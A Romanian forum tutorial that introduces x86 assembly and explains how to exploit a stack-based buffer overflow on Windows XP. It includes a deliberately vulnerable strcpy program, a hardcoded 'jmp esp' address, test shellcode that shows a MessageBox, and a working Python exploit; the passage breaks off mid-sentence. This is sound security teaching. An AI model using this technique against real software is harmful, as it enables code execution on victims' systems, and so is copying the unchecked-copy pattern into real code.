-
Posts
18753 -
Joined
-
Last visited
-
Days Won
726
Everything posted by Nytro
-
Introducere Am decis sa scriu un astfel de tutorial deoarece nu am mai vazut niciun astfel de articol scris in limba romana care sa explice pe intelesul tuturor care este cauza acestor probleme dar si cum se pot exploata. Tutorialul se adreseaza incepatorilor, dar sunt necesare cel putin cunostinte de programare C/C++ pentru a putea intelege conceptele. Sistemul pe care vom descoperi si exploata problema este Windows XP (pe 32 de biti) din motive de simplitate: nu exista ASLR, o notiune pe care o vom discuta in detaliu mai jos. Vreau sa incep cu o scurta introducere in limbaje de asamblare. Nu voi prezenta in detaliu, dar voi descrie pe scurt notiunile necesare pentru a intelege cum apare un "buffer overflow" si cum se poate exploata. Exista mai multe tipuri de buffer overflow-uri, aici il vom discuta pe cel mai simplu, stack based buffer overflow. Daca doriti acest articol in format PDF, il puteti descarca de aici: https://rstforums.com/fisiere/SBOF.pdf Introducere in ASM Pentru a ma asigura ca inteleg toti programatorii C/C++, voi explica ce se intampla cu codul C/C++ cand este compilat. Un programator scrie codul: #include <stdio.h> int main() { puts("RST rullz"); return 0; } Compilatorul va translata aceste instructiuni in limbaj de asamblare apoi aceste intructiuni vor fi transpuse in "cod masina" (cunoscut si ca shellcode). Exemplu, intructiunile in limbaj de asamblare: [B][COLOR=#0000ff]PUSH [/COLOR][/B]OFFSET [COLOR=#ff0000]SimpleEX.??_C@_09GGKPFABJ@RST?5rullz?$AA@[/COLOR] ; /s = "RST rullz"[B][COLOR=#0000ff]CALL [/COLOR][/B]DWORD PTR [B][COLOR=#008000]DS[/COLOR][/B]:[<&[COLOR=#ff0000]MSVCR100.puts[/COLOR]>] ; \puts[B][COLOR=#0000ff]ADD [/COLOR][COLOR=#008000]ESP[/COLOR][/B],[COLOR=#ff0000]4[/COLOR][B][COLOR=#0000ff]XOR [/COLOR][COLOR=#008000]EAX[/COLOR][/B],[B][COLOR=#008000]EAX[/COLOR][/B][COLOR=#0000ff][B]RETN[/B][/COLOR] Nu e nevoie sa intelegeti deocamdata ce se intampla acolo. Apoi, acest cod e reprezentabil in cod masina: 68 F4200300 [B][COLOR=#0000ff]PUSH [/COLOR][/B]OFFSET [COLOR=#ff0000]SimpleEX.??_C@_09GGKPFABJ@RST?5rullz?$AA@[/COLOR] ; /s = "RST rullz"FF15 A0200300 [B][COLOR=#0000ff]CALL [/COLOR][/B]DWORD PTR [B][COLOR=#008000]DS[/COLOR][/B]:[<&[COLOR=#ff0000]MSVCR100.puts[/COLOR]>] ; \puts83C4 04 [B][COLOR=#0000ff]ADD [/COLOR][COLOR=#008000]ESP[/COLOR][/B],[COLOR=#ff0000]4[/COLOR]33C0 [B][COLOR=#0000ff]XOR [/COLOR][COLOR=#008000]EAX[/COLOR][/B],[B][COLOR=#008000]EAX[/COLOR][/B]C3 [B][COLOR=#0000ff]RETN[/COLOR][/B] Se poate vedea ca acum avem in plus o serie de octeti: 0x68 0xF4 0x20 0x03 0x00 0xFF 0x15 0xA0 0x20 0x03 0x00 0x83 0xC4 0x04 0x33 0xC0 0xC3. Prin acei octeti din dreptul lor sunt reprezentate si intelese de catre procesor instructiunile. Cu alte cuvinte, procesorul va citi aceasta serie de octeti si le va interpreta ca pe instructiunile din limbajul de asamblare. Procesorul nu stie de variabilele din C. Procesorul are propriile sale "variabile", mai exact fiecare procesor are doar niste registri in care poate memora date. Acesti registri sunt urmatorii (doar cei necesari): - EAX, EBX, ECX, EDX, ESI, EDI - Registrii generali care memoreaza date - EIP - Registru special: un program care executa rand pe rand fiecare instructiune a sa (din ASM). Sa zicem ca prima instructiune se afla in memorie la adresa 0x10000000. O instructiune poate sa aiba unu sau mai multi octeti. Sa presupunem ca are 3 octeti. Initial, valoarea acestui registru e 0x10000000. Dupa ce procesorul executa acea instructiune, valoarea registrului va fi schimbata la 0x10000003 - ESP - Stack pointer. Vom discuta mai in detaliu stack-ul ulterior. Pentru moment e de ajuns sa intelegeti ca stack-ul se afla in memorie si acest registru memoreaza adresa de memorie la care se afla varful stivei (stack). Mai exista de asemenea registru EBP care reprezinta "baza stivei" Toti acesti registri au 4 octeti. Acel "E" vine de la "Extended" deoarece procesoarele pe 16 biti aveau registri pe 16 biti: AX, BC, CX, DX. Informativ, pe sistemele pe 64 de biti, registrii sunt: RAX, RBX... Un concept extrem de important si care trebuie inteles cand vine vorba de limbaje de asamblare il reprezinta stiva (stack). Stiva e o structura de date in care datele (elementele de pe stiva) sunt puse "una peste alta" si la un moment dat poate fi scos de pe stiva doar elementul din varful stivei. Sau, cum explica o doamna profesoara de la Universitate, o stiva este ca niste farfurii puse una peste alta: cand adaugi una, o pui peste celelalte, iar cand vrei sa scoti una, o scoti mai intai pe cea din varf. Stiva este foarte folosita la nivel de procesor deoarece: - variabilele locale dintr-o functie sunt puse pe stiva - parametrii cu care e apelata o functie sunt pusi pe stiva Exista doua notiuni importante care trebuie intelese cand se lucreaza cu procesoare Intel: - procesoarele sunt little endian: mai exact, daca aveti o variabila int x = 0x11223344, aceasta nu se va afla in memorie ca "0x11223344" ci ca "0x44332211" - cand se adauga un element pe stiva, valoarea ESP-ului, registru care memoreaza varful stivei, va scadea! Exista doua intructiuni folosite pentru a lucra cu stiva: - PUSH - va pune o valoare (pe 32 de biti) pe stiva - POP - va scoate o valoare (pe 32 de biti) de pe stiva Exemplu de stiva: 24 - 1111 28 - 2222 32 - 3333 Prima coloana o reprezinta valoarea varfului stivei, valoare care scade cand se adauga un nou element, iar a doua coloana contine niste valori aleatoare. Sa adaugam doua elemente pe stiva: PUSH 5555 PUSH 6666 Stiva va arata astfel: 16 - 6666 20 - 5555 24 - 1111 28 - 2222 32 - 3333 Ca sa intelegeti mai usor cum valoarea ESP-ului, registrul care contine un pointer la varful stivei, scade cand sunt puse date pe stiva, priviti acest registru ca pe o valoare "spatiu disponibil pe stiva" care scade cand sunt adaugate date. Dupa cum am exemplificat si mai sus, la fel ca PUSH si POP, procesorul executa "instructiuni" pentru a-si face datoria. Fiecare instructiune are rolul sau, asa cum PUSH pune un element pe stiva si POP il scoate, alte instructiuni realizeaza: - ADD - Face o adunare - SUB - Face o scadere - CALL - Apeleaza o functie - RETN - Returneaza dintr-o functie - JMP - Sare la o adresa - XOR - Operatie binara, dar "XOR EAX, EAX" de exemplu e echivalentul mai optim al atribuirii EAX = 0 - MOV - Face o atribuire - INC - Incrementeaza o valoare (variabila++) - DEC - Decrementeaza o valoare (variabila--) Exista foarte multe astfel de instructiuni, dar acestea ar fi cele mai importante. Sa vedem cateva exemple: - ADD EAX, 5 ; Adauga valoarea 5 la registrul EAX. Adica EAX = EAX + 5 - SUB EDX, 7 ; Scade 5 din valoarea registrului EDX - CALL puts ; Apeleaza functia puts - RETN ; return-ul din C - JMP 0x11223344 ; Sare la instructiunea de la acea adresa - XOR EBX, EBX ; Echivalentul pentru EBX = 0 - MOV ECX, 3 ; Echivalentul pentru ECX = 3 - INC ECX; Echivalentul pentru ECX++ - DEC ECX ; Echivalentul pentru ECX-- Cred ca e destul de usor de inteles. Acum putem intelege ce face mai exact procesorul cu codul nostru care afiseaza un simplu mesaj: 1. PUSH OFFSET SimpleEX.@_rst_@ - Am inlocuit acel sir urat cu ceva mai simplu: este de fapt un pointer la sirul de caractere "RST rullz" din memorie. Instructiunea pune pe stiva pointerul la acest sir. Are ca efect scaderea a 4 octeti (sistem pe 32 de biti) din ESP. Adica "ESP = ESP -4" 2. CALL DWORD PTR DS:[<&MSVCR100.puts>] - Apeleaza functia "puts" din biblioteca "MSVCR100.dll" (Microsoft Visual C Runtime v10) folosita de Visual Studio 2010. Vom detalia mai jos ca pentru a apela o functie, trebuie mai intai sa punem parametrii pe stiva 3. ADD ESP,4 - Acel PUSH a avut ca efect scaderea a 4 octeti necesari pentru a apela functia, acum ii vom elibera de pe stiva adaugand 4 octeti 4. XOR EAX,EAX - Inseamna EAX = 0. Intr-o functie, la return, valoarea returnata va fi continuta de acest registru 5. RETN - Facem "return" din functie Pentru a intelege mai bine cum functioneaza un apel de functie luam urmatorul exemplu: #include <stdio.h>int functie(int a, int { return a + b; } int main() { functie(5, 6); return 0; } Functia "main" va arata astfel: [B][COLOR=#0000ff]PUSH [/COLOR][COLOR=#008000]EBP[/COLOR][/B][COLOR=#0000ff][B]MOV [/B][/COLOR][B][COLOR=#008000]EBP[/COLOR][/B],[COLOR=#008000][B]ESP[/B][/COLOR][COLOR=#0000ff][B]PUSH [/B][/COLOR][COLOR=#ff0000]6[/COLOR] [COLOR=#0000ff][B]PUSH [/B][/COLOR][COLOR=#ff0000]5 [/COLOR][COLOR=#0000ff][B]CALL [/B][/COLOR][COLOR=#ff0000]SimpleEX.functie [/COLOR] [COLOR=#0000ff][B]ADD [/B][/COLOR][COLOR=#008000][B]ESP[/B][/COLOR],[COLOR=#ff0000]8[/COLOR][COLOR=#0000ff][B]XOR [/B][/COLOR][COLOR=#008000][B]EAX[/B][/COLOR],[COLOR=#008000][B]EAX[/B][/COLOR][COLOR=#0000ff][B]POP [/B][/COLOR][COLOR=#008000][B]EBP[/B][/COLOR][COLOR=#0000ff][B]RETN[/B][/COLOR] Iar "functie" va fi de forma: [B][COLOR=#0000ff]PUSH [/COLOR][COLOR=#008000]EBP[/COLOR][/B][B][COLOR=#0000ff]MOV [/COLOR][COLOR=#008000]EBP[/COLOR][/B],[B][COLOR=#008000]ESP[/COLOR][/B][B][COLOR=#0000ff]MOV [/COLOR][COLOR=#008000]EAX[/COLOR][/B],DWORD PTR [B][COLOR=#008000]SS[/COLOR][/B]:[[B][COLOR=#008000]EBP[/COLOR][/B]+[COLOR=#ff0000]8[/COLOR]][B][COLOR=#0000ff]ADD [/COLOR][COLOR=#008000]EAX[/COLOR][/B],DWORD PTR [B][COLOR=#008000]SS[/COLOR][/B]:[[B][COLOR=#008000]EBP[/COLOR][/B]+[COLOR=#ff0000]C[/COLOR]][B][COLOR=#0000ff]POP [/COLOR][/B][COLOR=#008000][B]EBP[/B][/COLOR][B][COLOR=#0000ff]RETN[/COLOR][/B] Nota: Visual Studio e al dracu de destept (nu sunt ironic) si a facut calculele astfel incat nu mai exista niciun apel catre o alta functie, ci doar o valoare 0xB (adica 11, adica 5+6). Pentru teste puteti dezactiva complet optimizarile din Properties > C++ > Optimization. Se pot observa cateva instructiuni: - PUSH EBP (la inceputul functiilor) - MOV EBP,ESP (la inceputul functiilor) - POP EBP (la final) Ei bine, aceste instructiuni au rolul de a crea "stack frame-uri". Mai exact, au rolul de a "separa" cumva functiile pe stiva, astfel incat registrii EBP si ESP (registrii care contin valorile ce reprezinta baza si varful stivei) sa delimiteze stiva folosita de catre functia respectiva. Spus altfel, cum fiecare functie poate avea propriile variabile, folosind aceste instructiuni, registrul EBP va contine adresa de unde incep datele folosite de functia care a fost apelata, iar ESP va contine varful stivei. Intre valorile ESP - EBP (ESP este mai mic) se afla datele folosite de functie. Sa incepem cu functia care realizeaza adunarea: - MOV EAX,DWORD PTR SS:[EBP+8] - ADD EAX,DWORD PTR SS:[EBP+C] Nu va speriati de acesti DWORD PTR SS:[EBP+8] si DWORD PTR SS:[EBP+C]. Asa cum am discutat anterior, intre EBP si ESP se afla datele folosite de functie. In cazul de fata, aceste date sunt parametrii cu care a fost apelata functia. Acesti parametri se afla pe stiva si sunt accesibili la locatiile EBP+8 si EBP+C, adica la 8 respectiv 12 octeti fata de registrul EBP. De asemenea, in ASM, parantezele patrate sunt folosite ca si "*" in C/C++ cand e vorba de pointeri. Asa cum *p inseamna "valoarea de la adresa p" asa [EBP] inseamna "valoarea de la adresa EBP". E nevoie de o astfel de abordare deoarece EBP contine o adresa de memorie (de pe stiva) si noi avem nevoie de valorile de la adresele respective de memorie. O alta notiune utila este faptul ca "DWORD" specifica faptul ca la acea adresa se afla o valoare pe 4 octeti. Exista cateva tipuri de date care specifica dimensiunile datelor cu care se lucreaza: - BYTE - 1 octet - WORD - 2 octeti - DWORD - 4 octeti Acei SS (Stack Segment) sau DS (Data Segment) sau CS (Code Segment) reprezinta alti registrii care identifica diverse zone/segmente de memorie: stiva, date sau cod, fiecare dintre acestea avand anumite drepturi de acces: read, write sau execute. Functia pune in EAX valoarea primului parametru (a) si adauga la aceasta valoarea celui de-al doilea parametru (. Astfel EAX contine a+b. Trecem acum la ceea ce ne intereseaza de fapt si anume cum se realizeaza apelul unei functii: [B][COLOR=#0000ff]PUSH [/COLOR][/B][COLOR=#ff0000]6[/COLOR] [B][COLOR=#0000ff]PUSH [/COLOR][/B][COLOR=#ff0000]5[/COLOR] [B][COLOR=#0000ff]CALL [/COLOR][/B][COLOR=#ff0000]SimpleEX.functie[/COLOR] [B][COLOR=#0000ff]ADD [/COLOR][COLOR=#008000]ESP[/COLOR][/B],[COLOR=#ff0000]8[/COLOR] Ne amintim ca apelul este "functie(5, 6)". Ei bine, pentru a apela o functie se executa urmatorii pasi: 1. Se pun pe stiva parametrii de la dreapta la stanga. Adica mai intai 6, apoi 5 2. Se apeleaza functia 3. Se elibereaza stiva, se curata parametrii de pe stiva Astfel, mai intai se pun pe stiva doua valori (32 de biti, adica 4 octeti fiecare): 6 apoi 5, se apeleaza functia si apoi se curata stiva: ESP-ul devine ESP+8 (spatiul ocupat de catre cei doi parametri ai functiei) astfel incat ajunge la valoarea initiala, de dinainte de apelul de functie. Am discutat anterior ca pentru eliminarea datelor de pe stiva se poate folosi instructiunea POP, insa nu avem nevoie de POP deoarece nu ne intereseaza valorile de pe stiva, iar in acest caz ar fi nevoie de doua instructiuni POP pentru a elibera stiva. Daca am avea 100 de parametri la o functie ar trebui sa facem 100 de POP-uri, putem rezolva aceasta problema cu o simpla astfel de adunare. Nota: E important dar nu e in scopul acestui tutorial: exista mai multe metode de a apela o functie. Aceasta metoda, care presupune adaugarea parametrilor pe stiva de la dreapta la stanga, apoi eliberarea stivei DUPA apelul functie se numeste "cdecl". Alte functii, precum cele ale sistemului de operare Windows, folosesc o alta metoda de a apela functiile (numita calling convention) numita "stdcall" si care presupune de asemenea punerea parametrilor functiilor pe stiva de la dreapta la stanga, DAR curatarea stivei se face in interiorul functiei, nu dupa apelul acesteia. Un alt lucru important la apelul unei functii este urmatorul, apel realizat folosind intructiunea "call" il reprezinta faptul ca adresa imediat urmatoare instructiunii call care apeleaza functia, este pusa pe stiva! Exemplu: 00261013 | PUSH 6 ; /Arg2 = 00000006 00261015 | PUSH 5 ; |Arg1 = 00000005 00261017 | CALL SimpleEX.functie ; \functie 0026101C | ADD ESP,8 In stanga se afla adresele de memorie la care se afla instructiunile respective. Instructiunile PUSH 5 si PUSH 6 au cate doi octeti. Instructiunea CALL, care se afla la adresa 0x00261017, are 5 octeti. Asadar adresa instructiunii urmatoare este 0x0026101C (adica 0x00261017 + 5). Aceasta este adresa care va fi pusa pe stiva la apelul functiei. Stiva va arata astfel inainte de apelul functiei, dupa cele doua instructiuni PUSH: 24 - 0x5 28 - 0x6 32 - 0x1337 ; Ce se afla inainte de PUSH-uri Dupa executarea instructiunii CALL, stiva va arata astfel (adresele stivei din prima coloana sunt informative): 20 - 0x0026101C ; Adresa "de return", adresa la care ne vom intoarce la RETN (sau RET), dupa terminarea functiei apelate 24 - 0x5 28 - 0x6 32 - 0x1337 ; Ce se afla inainte de PUSH-uri Urmeaza apoi seria de instructiuni, prolog-ul functiei, care creaza stackframe-urile: - PUSH EBP - MOV EBP,ESP Dupa acel PUSH, stiva va fi de forma: 16 - 32 ; EBP-ul anterior apelului functiei 20 - 0x0026101C ; Adresa "de return", adresa la care ne vom intoarce la RETN (sau RET), dupa terminarea functiei apelate 24 - 0x5 28 - 0x6 32 - 0x1337 ; Ce se afla inainte de PUSH-uri Dupa MOV EBP,ESP - EBP-ul va avea valoarea "varful curent al stivei". E important de retinut ca variabilele locale ale functiei sunt plasate AICI pe stiva! Sa modificam functia astfel: int functie(int a, int { int v1 = 3, v2 = 4; return a + b; } Avem acum in plus doua variabile initializate cu valorile 3 si 4. Noul cod al functiei va avea in plus: SUB ESP,8 ; Se aloca spatiu pentru cele doua variabile (fiecare cate 4 octeti) MOV DWORD PTR SS:[EBP-4],3 ; Initializarea primei variabile MOV DWORD PTR SS:[EBP-8],4 ; Initializarea celei de-a doua variabile Astfel stiva va contine: 08 - 4 ; Variabilele locale 12 - 3 16 - 32 ; EBP-ul anterior apelului functiei 20 - 0x0026101C ; Adresa "de return", adresa la care ne vom intoarce la RETN (sau RET), dupa terminarea functiei apelate 24 - 0x5 28 - 0x6 32 - 0x1337 ; Ce se afla inainte de PUSH-uri E obligatoriu de retinut faptul ca variabilele locale ale functiilor sunt puse pe stiva. E de asemenea obligatoriu de inteles ca "adresa de return" e retinuta tot pe stiva. Daca pana in acest punct nu ati inteles exact cum stau lucrurile, ori cereti mai multe detalii explicand ceea ce nu intelegeti, ori incercati sa va documentati singuri citind multitudinea de tutoriale pe care le gasiti pe Google. Stack Based Buffer Overflow Daca ati inteles toate conceptele de mai sus puteti trece mai departe. Daca nu, recititi si incercati sa intelegeti sau va mai puteti documenta, exista o multitudine de articole din care puteti intelege aceste notiuni. Daca totul este in regula, puteti trece la acest capitol. Discutam ca stiva contine urmatoarele (in aceasta ordine, unde "variabilele locale" se afla la "adresa cea mai mica" iar "parametrii functiei" la "adresa cea mai mare"): - Variabilele locale ale functiei (variabil, sa zicem 20 bytes) - EBP-ul anterior (salvat cu PUSH EBP) - Adresa de return (de exemplu 0x0026101C) - Parametri cu care a fost apelata functia Este destul de usor de inteles acum cum functioneaza un Stack Based Buffer Overflow. Sa luam urmatorul caz. Avem functia urmatoare, apelata din main: #include <stdio.h>#include <string.h> // Functia de afisare a numelui void Afiseaza(char *p_pcNume) { // Buffer-ul in care va fi stocat numele char buffer[20]; // Copiem numele in buffer strcpy(buffer, p_pcNume); // Afisam numele printf("Salut: %s", buffer); } // Functia main int main(int argc, char* argv[]) { // Trebuie sa avem un argument, numele if(argc != 2) { puts("Lipseste argumentul: Ex: ./sbof Ionut"); return 1; } // Apelam functia de afisare Afiseaza(argv[1]); return 0; } Programelul este simplu: primeste un parametru in linia de comanda si apeleaza functia "Afiseaza". Problema se poate vedea aici: char buffer[20]; strcpy(buffer, p_pcNume); Avem un buffer (vector) local, de 20 de octeti. Atentie! Nu confundati un vector cu un pointer (char *buffer)! In cazul unui pointer pentru care s-a alocat spatiu cu "malloc" sau "new []", pe stiva se afla doar pointer-ul (4 octeti) NU si spatiul care a fost alocat pe HEAP! Avand un buffer de 20 de octeti pe stiva, copiem in acea variabila sirul de caractere pe care il primim din linia de comanda. Ce se intampla insa daca sirul de caractere depaseste dimensiunea de 20 de octeti? Avem un buffer overflow. Denumirea de "Stack Based Buffer Overflow" vine de la faptul ca acest buffer este memorat pe stiva. Sa vedem cum ar arata o stiva care ar contine toate datele in momentul apelului functiei. 100 - BUFFER - octetii 0-4 104 - BUFFER - octetii 4-8 108 - BUFFER - octetii 8-12 112 - BUFFER - octetii 12-16 116 - BUFFER - octetii 16-20 120 - 136 ; EBP-ul anterior apelului functiei 124 - 0x0026101C ; Adresa "de return", adresa la care ne vom intoarce la RETN (sau RET), dupa terminarea functiei apelate 128 - 0x5 132 - 0x6 136 - 0x1337 ; Ce se afla inainte de PUSH-uri Daca apelam functia folosind sirul de caractere "Nytro @ RST", stiva va arata astfel: 100 - Nytr 104 - o @ 108 - RST\0 112 - XXXX - octetii 12-16 (XXXX sunt date aleatoare) 116 - XXXX - octetii 16-20 120 - 136 ; EBP-ul anterior apelului functiei ... Probabil v-ati dat seama singuri cum se poate exploata aceasta problema: daca suprascriem CORECT stiva, daca apelam programul cu un sir de caractere corect, astfel incat sa SUPRASCRIEM ADRESA DE RETURN, dupa ce functia "Afiseaza" isi va termina executia, in momentul in care se va apela instructiunea RETN, procesorul va sari la adresa pe care noi am suprascris-o: in locul adresei 0x0026101C vom pune noi o anumita adresa. Putem astfel controla executia procesului! Daca vom apela programul astfel: StackBOF.exe aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa In debugger se va putea observa urmatoarea eroare: "Access violation when executing [61616161]" Daca nu v-ati dat seama, 0x61 este codul ascii al caracterului "a". Deci procesorul incearca sa execute codul de la adresa "aaaa". Ce putem face in acest caz? Ii putem oferi CORECT (adica la locatia corecta in sirul "aaaa...aaaa") o adresa valida de memorie, la care se afla cod valid, obtinand astfel posibilitatea de a executa cod propriu! Cum putem insa executa propriul cod astfel? Raspunsul este simplu: "jmp esp". Intelegem ca am suprascris stiva. Am suprascris atat "adresa de return" dar am suprascris si ce era DUPA adresa de return. Si e important de precizat faptul ca asa cum la "CALL" pe stiva se pune automat adresa de return, asa la RETN, adresa de return e eliberata de pe stiva si procesorul executa instructiuni incepand cu acea adresa. Asa cum la CALL registrul ESP devine ESP-4 deoarece se adauga 4 octeti (adresa de return), asa la RETN registrul ESP devine ESP+4 deoarece se scoate de pe stiva respectiva adresa. Asta inseamna ca ESP este acum un pointer la datele de DUPA adresa de return, un pointer la niste date pe care NOI le-am pus acolo. Asadar, pentru a dezvolta raspunsul "jmp esp": daca gasim undeva in spatiul de memorie al procesului pe care il exploatam, adica in codul executabilului sau codul din DLL-urile folosite de catre proces, o secventa de cod "jmp esp" putem sa plasam adresa acestei instructiuni in locul adresei de return, astfel incat procesorul, dupa executia instructiunii RETN va sari la acea adresa si va executa "jmp esp" si apoi procesorul va executa instructiunile de pe stiva pe care noi o controlam. Sa presupunem ca gasim instructiunea "jmp ESP" la adresa de memorie 0x11223344. Avem pe stiva: 100 - BUFFER - octetii 0-4 104 - BUFFER - octetii 4-8 108 - BUFFER - octetii 8-12 112 - BUFFER - octetii 12-16 116 - BUFFER - octetii 16-20 120 - 136 ; EBP-ul anterior apelului functiei 124 - 0x0026101C ; Adresa "de return", adresa la care ne vom intoarce la RETN (sau RET), dupa terminarea functiei apelate 128 - 0x5 132 - 0x6 136 - 0x1337 ; Ce se afla inainte de PUSH-uri DAR, daca vom suprascrie in mod corect stiva, o vom face astfel: 1. Vom pune "aaaaaaaaaaaaaaaaaaaa" - 20 de octeti - pentru a umple buffer-ul 2. Vom mai pune "aaaa" - 4 octeti - pentru a suprascrie EBP-ul anterior 3. Vom pune 0x11223344 - 4 octeti - adresa de return (adresa instructiunii jmp esp) 4. Vom pune shellcode-ul (cod masina) - pe care vrem sa il executam Stiva va arata astfel: 100 - aaaa 104 - aaaa 108 - aaaa 112 - aaaa 116 - aaaa 120 - aaaa 124 - 0x44332211 ; Little endian 128 - XXXX 132 - XXXX 136 - XXXX ... Unde XXX... e shellcode-ul pe care vrem sa il executam. Daca nu ati mai intalnit acest termen, tineti minte doar ca puteti gasi pe Google/Exploit-DB/Shell-Storm o gramada de shellcode-uri. Exemple: - Download & Execute: care permite descarcarea si executarea unui EXE - Bind TCP: care deschide un port si permite executarea de comenzi - Calc.exe/MessageBox: care deschide calc.exe sau afiseaza un mesaj (pentru teste) Sa vedem pas cu pas cum functioneaza totul (simplificat): void Afiseaza(char *p_pcNume){ char buffer[20]; strcpy(buffer, p_pcNume); } 1. Se primeste argumentul (pentru exploatare) de la tastatura 2. Se apeleaza functia Afiseaza cu acest argument 3. Se pun pe stiva: - pointer la sirul de caractere (parametrul functiei) - adresa de return (la CALL) - EBP anterior (in corpul functiei) (cu PUSH EBP) - buffer-ul (20 de octeti - variabila locala) 4. Se apeleaza strcpy() - se copiaza in buffer primii 20 de octeti (din argumentul de la tastatura) - urmatorii 4 octeti suprascriu EBP-ul enterior - urmatorii 4 octeti suprascriu adresa de return - urmatorii bytes suprascriu restul stivei 5. Se elibereaza spatiul folosit de buffer (se face ADD ESP, 0x14) 6. Se face RETN Ce se intampla acum e important: 1. Se scoate de pe stiva adresa de return (suprascrisa de noi cu o adresa de memorie la care se afla instructiunea "jmp esp") 2. Procesorul sare la adresa respectiva si executa "jmp esp" 3. Efectul este saltul si executia codului prezent pe stiva (ESP-ul contine acum un pointer la datele de dupa "adresa de return") Pe stiva, la adresa ESP, se afla acum shellcode-ul nostru: un limbaj masina care ne permite sa efectuam o anumita actiune, probabil cele mai folosite astfel de actiuni sunt "Download & Execute", adica infectarea cu un trojan sau altceva, sau "Bind TCP", adica ascultarea pe un port pe care noi, ca atacatori, ne putem conecta ulterior si putem executa comenzi. Cum gasim insa o adresa unde se afla instructiunea jmp esp? Ei bine, aici depinde de voi si de debugger-ul pe care il folositi. Scopul acestui articol este sa intelegeti cum se exploateaza un buffer overflow, nu cum sa folositi un debugger, dar voi face o scurta descriere a acestor programe. In testele facute de mine am folosit Immunity Debugger. Este gratuit, simplu si frumos. Puteti incerca de asemenea OllyDbg, IDA Free sau WinDbg. Un debugger poate deschide un executabil (sau dll), il incarca in memorie, il dezasambleaza (transforma codul masina in cod ASM) si permite debugging-ul, adica permite executarea programului instructiune cu instructiune oferind toate informatiile necesare: - instructiunile care se executa sau care urmeaza sa fie executate - toti registrii (EAX, EBX... EBP, ESP, EIP) - anumite zone de memorie (pe care le doriti) - memory dump - stiva, afisand unde este varful acesteia (ESP) De asemenea, un debugger ofera mai multe functionalitati: - permite setarea unor breakpoint-uri, adica permite sa opriti executia programului la o anumita instructiune - permite vizualizarea DLL-urilor folosite de catre executabil (cele incarcate in memorie) si vizualizarea functiilor exportate (Names) - in cazul in care vreti sa puneti breakpoint pe o anumita functie sunt foarte utile aceste informatii - permite vizualizarea thread-urilor curente, a handle-urilor si multe altele - permite cautari in functie de multe criterii - permite modificarea instructiunilor care urmeaza sa fie executate - permite modificarea valorilor registrilor - permite cam tot ce ar putea fi util Pentru a putea gasi o instructiune "jmp esp", ne vom folosi de doua functionalitati: - vizualizarea codului DLL-urilor - cautarea comenzilor (sau sirurilor binare) in memoria executabilului sau a DLL-urilor In Immunity debugger, pentru a deschide kernel32.dll (toate executabilele incarca in memorie si folosesc DLL-urile kernel32 si ntdll), de exemplu, apasam pe butonul "E" apoi facem dublu click pe kernel32.dll. Daca nu vom gasi un jmp esp in acest DLL, incercam in toate celelalte "module" (.exe sau .dll). Dupa ce s-a deschis, dam click dreapta > Search for > All commands si introducem "jmp esp". Vom vedea apoi o lista cu toate adresele la care gasim acea instructiune. Ei bine, asa se poate face in Immunity, exista mult mai multe metode, in functie de Debugger, alegeti ceea ce vi se pare mai simplu. O alta metoda ar fi Search For > Binary String > "FF E4", adica codul masina care reprezinta instructiunea "jmp esp". In cazul meu, pe Windows XP, am gasit instructiunea "jmp esp" in kernel32.dll la adresa 0x7C86467B, reprezentata in little endian ca 0x7b46867c. Scopul acestui articol este doar de a intelege cum functioneaza si vom folosi un shellcode de teste, un cod masina care afiseaza un simplu mesaj pentru a stii daca am reusit sau nu sa exploatam problema. Pentru teste eu am ales acest shellcode: http://www.exploit-db.com/exploits/28996/ "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42""\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03""\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b""\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e""\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c""\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74""\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe""\x49\x0b\x31\xc0\x51\x50\xff\xd7" Pe intelesul tuturor, cand procesorul va executa acel cod masina pe un sistem Windows, va apela functia "MessageBox" si va afisa un mesaj. Astfel, pentru simplitate, vom scrie codul in Python. Adica din Python vom genera sirul de caractere necesar pentru a apela programul si a executa codul nostru. Exploit-ul scris in Python este urmatorul: #!/usr/bin/pythonimport ctypes import subprocess buffer = "\x41" * 24 buffer += "\x7b\x46\x86\x7c" buffer += ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" "\x49\x0b\x31\xc0\x51\x50\xff\xd7") subprocess.call(['C:\\Documents and Settings\\Administrator\\Desktop\\Stack BOF\\StackBOF.exe', buffer]) E destul de usor de inteles ce face pentru ca am explicat anterior: - buffer = "\x41" * 24 - Suprascriem buffer si EBP de pe stack - buffer += "\x7b\x46\x86\x7c" - Suprascriem adresa de return cu adresa unei instructiuni jmp esp (instructiunea se va afla intotdeauna la acea adresa daca nu exista ASLR si daca e vorba despre ACELASI sistem de operare - altfel spus, poate sa difere intre XP SP1, XP SP2 si XP SP3) - buffer += ("\x31\xd2\xb2...\x51\x50\xff\xd7") - Shellcode-ul care afiseaza un mesaj - subprocess.call(...) - Apelam executabilul cu buffer-ul (numit si PAYLOAD) nostru care ne permite sa executam propriul cod Daca nu vi se pare foarte util, incercati sa va ganditi ca aceasta problema poate sa apara in cazuri mai "utile": - la deschiderea unui document (.pdf, .docx, .xlsx) - la citirea unor date pe socket (server FTP, server SSH) - la deschiderea unor pagini web (IE, Firefox) Problema poate sa apara in foarte multe locuri si se poate exploata pentru multe programe. Sa nu aveti insa 